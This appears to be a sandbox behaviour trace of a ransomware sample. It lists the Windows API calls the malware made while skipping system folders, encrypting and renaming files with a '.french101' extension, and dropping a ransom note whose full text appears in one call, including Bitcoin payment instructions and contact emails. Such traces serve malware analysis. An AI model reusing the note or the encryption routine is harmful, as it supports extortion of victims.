FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0277.591] GetLastError () returned 0x2 [0277.591] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0277.592] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.592] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.592] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.592] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.592] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.592] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.592] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.592] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.592] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.592] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.592] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0277.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0277.592] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.592] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0277.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0277.592] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.593] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0277.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0277.593] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.593] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0277.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ca8, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0277.593] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.593] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.593] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.593] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.593] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.593] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.593] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.593] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.593] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.593] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0277.593] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39c90, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@矴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0277.594] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1032\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1032\\") returned 0x1b [0277.595] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0277.595] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0277.595] SHGetPathFromIDListW (in: pidl=0x6e4798, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.595] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0277.595] IMalloc:Free (This=0x75e4d000, pv=0x6e4798) [0277.595] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0277.595] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0277.595] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.595] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.595] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.595] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.595] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.595] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.596] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.596] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0277.596] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.596] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0277.596] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.596] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.596] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.596] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.596] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.596] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.596] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.596] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.596] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.596] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.596] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.597] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.597] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.597] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.597] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0277.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0277.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\я" (normalized: "c:\\588bce7c90097ed212\\1032\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0277.599] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0277.600] CloseHandle (hObject=0x35c) returned 1 [0277.601] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\я" (normalized: "c:\\588bce7c90097ed212\\1032\\я")) returned 1 [0277.639] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0277.639] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.640] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.640] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0277.640] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x20) returned 1 [0277.641] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.641] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.641] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x22ac [0277.641] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.641] SetFilePointer (in: hFile=0x308, lDistanceToMove=8876, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x22ac [0277.641] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.643] CloseHandle (hObject=0x308) returned 1 [0277.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.644] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.645] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x22ad [0277.645] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.645] SetFilePointer (in: hFile=0x308, lDistanceToMove=8876, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x22ac [0277.645] SetEndOfFile (hFile=0x308) returned 1 [0277.647] CloseHandle (hObject=0x308) returned 1 [0277.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.647] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.647] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x22ac [0277.647] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.648] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.648] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.648] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x22ac [0277.648] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.648] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.651] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.651] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0277.651] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.651] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.652] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0277.652] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.652] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.652] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.652] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.652] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.652] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.652] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.652] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x22ac [0277.652] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0277.652] SetFilePointer (in: hFile=0x308, lDistanceToMove=8876, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x22ac [0277.652] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.667] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0277.668] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.668] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.668] CloseHandle (hObject=0x308) returned 1 [0277.669] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\J94P40rA2uVZwA9nQXdug4.french101" (normalized: "c:\\588bce7c90097ed212\\1032\\j94p40ra2uvzwa9nqxdug4.french101")) returned 1 [0277.669] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\J94P40rA2uVZwA9nQXdug4.french101" (normalized: "c:\\588bce7c90097ed212\\1032\\j94p40ra2uvzwa9nqxdug4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.670] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.670] CloseHandle (hObject=0x308) returned 1 [0277.670] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\J94P40rA2uVZwA9nQXdug4.french101", dwFileAttributes=0x80) returned 1 [0277.670] CloseHandle (hObject=0x308) returned 0 [0277.670] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.670] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.670] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.670] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.670] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.670] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.671] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.671] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.671] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.671] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.671] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0277.671] GetLastError () returned 0x2 [0277.671] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1032\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.671] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0277.672] CloseHandle (hObject=0x308) returned 1 [0277.673] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.673] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.673] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, 